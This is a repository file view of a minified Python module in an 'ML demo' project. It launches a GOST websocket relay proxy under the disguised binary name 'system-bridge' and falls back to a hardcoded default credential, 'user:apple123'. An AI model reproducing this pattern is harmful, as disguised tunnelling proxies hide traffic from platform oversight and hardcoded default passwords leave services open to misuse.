mldemo / services /gost.py
SamuelLance73's picture
Automated deployment update from ML build
0d133da verified
raw
history blame contribute delete
373 Bytes
import subprocess
from loguru import logger
def start(log_file,auth):
B=log_file;A=auth
if not A:logger.warning('No GOST auth provided, using default.');A='user:apple123'
logger.info('Starting GOST (system-bridge) multiplexed websocket proxy...');C=['/usr/bin/system-bridge','-L',f"relay+mws://{A}@127.0.0.1:6790?path=/gost-bridge"];subprocess.Popen(C,stdout=B,stderr=B)